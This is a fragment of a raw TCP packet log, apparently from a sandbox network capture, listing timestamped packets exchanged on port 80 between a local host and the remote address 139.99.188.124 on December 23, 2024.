                                                                                                                                                                          Dec 23, 2024 08:40:14.645045996 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.645618916 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.645662069 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.645687103 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.646323919 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.646382093 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.646450996 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.647102118 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.647151947 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.647165060 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.647825003 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.647880077 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.648015022 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.648551941 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.648617983 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.648654938 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.649277925 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.649324894 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.649405956 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.650087118 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.650131941 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.650168896 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.650779009 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.650818110 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.650854111 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.651488066 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.651535034 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.651617050 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.652190924 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.652247906 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.652251959 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.652930021 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.652987003 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.653085947 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.653661966 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.653723955 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.653743029 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.654375076 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.654427052 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.654495955 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.655114889 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.655213118 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.655217886 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.655911922 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.655957937 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.655986071 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.656585932 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.656630039 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.656744957 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.657313108 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.657357931 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.657390118 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.658042908 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.658086061 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.658103943 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.658782005 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.658833027 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.658874989 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.659632921 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.659708023 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.659715891 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.660214901 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.660265923 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.660434008 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.660950899 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.661001921 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.661036015 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.661700010 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.661746979 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.661861897 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.662543058 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.662554979 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.662579060 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.663165092 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.663203955 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.663327932 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.663861036 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.663909912 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.664089918 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.664606094 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.664649963 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.664738894 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.665343046 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.665393114 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.665488005 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.666085958 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.666099072 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.666167021 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.666799068 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.666853905 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.666889906 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.667577982 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.667629004 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.667645931 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.668262959 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.668390989 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.668394089 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.786431074 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.791141987 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.791162014 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.791224003 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.791394949 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.791568995 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.791620016 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.792181015 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.792375088 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.792588949 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.792902946 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.792984962 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.793076992 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.793627024 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.793752909 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.793973923 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.794341087 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.794454098 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.794497967 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.795068026 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.795125008 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.795361042 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.795804024 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.795948029 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.795995951 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.796523094 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.796766043 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.796883106 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.797346115 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.797389030 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.797466040 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.811458111 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.811676025 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.811726093 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.811791897 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.812074900 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.812124014 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.812536955 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.812638044 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.812679052 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.813265085 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.832293034 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.832307100 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.832355976 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.832501888 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.832551003 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.832614899 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.833337069 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.833348036 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.833390951 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.833951950 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.834008932 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.834048986 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.834768057 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.834815979 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.835001945 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.835510015 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.835561991 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.835599899 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.836198092 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.836256981 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.836270094 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.836888075 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.836937904 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.837003946 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.837690115 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.837732077 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.837750912 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.838362932 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.838453054 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.838510990 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.839159012 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.839195967 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.839242935 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.839854002 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.839914083 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.840131998 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.840603113 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.840645075 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.840653896 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.841325998 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.841375113 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.841413021 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.841981888 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.842048883 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.842086077 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.842749119 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.842860937 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.842864990 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.843503952 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.843544006 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.843616009 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.844228983 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.844288111 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.844331026 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.844928026 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.844971895 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.845048904 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.845655918 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.845700979 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.845763922 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.846434116 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.846472979 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.846474886 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.847147942 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.847194910 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.847198963 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.847835064 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.847877026 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.848011971 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.848592043 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.848680019 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.848686934 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.849435091 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.849447966 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.849478960 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.850027084 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.850070953 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.850092888 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.850769043 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.850811005 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.850908995 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.851511002 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.851552963 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.851639986 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.852332115 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.852344036 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.852381945 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.852921963 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.852999926 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.853015900 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.853682995 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.853727102 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.853785992 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.854470015 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.854538918 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.854615927 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.855138063 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.855176926 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.855243921 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.855891943 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.856019020 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.856084108 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.856626987 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.856668949 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.856684923 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.857379913 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.857443094 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.857455015 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.858082056 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.858120918 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.858124018 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.858819962 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.858860016 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.859030008 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.859544039 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.859647989 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.859689951 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.860333920 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.860347986 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.860378981 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.931726933 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.983288050 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.983334064 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.983473063 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.983593941 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.983694077 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.983733892 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.984301090 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.984417915 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.984457970 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.985024929 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.985131025 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.985357046 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.985769987 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.985943079 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.985985994 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.986471891 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.986593962 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.986805916 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.987221003 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.987374067 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.987420082 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.988023996 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.988171101 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.988260984 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.988694906 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.988821030 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.988859892 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.989414930 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.989527941 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.989573956 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:15.003952980 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.004101992 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.004203081 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.004215956 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:15.004239082 CET4981380192.168.2.9139.99.188.124
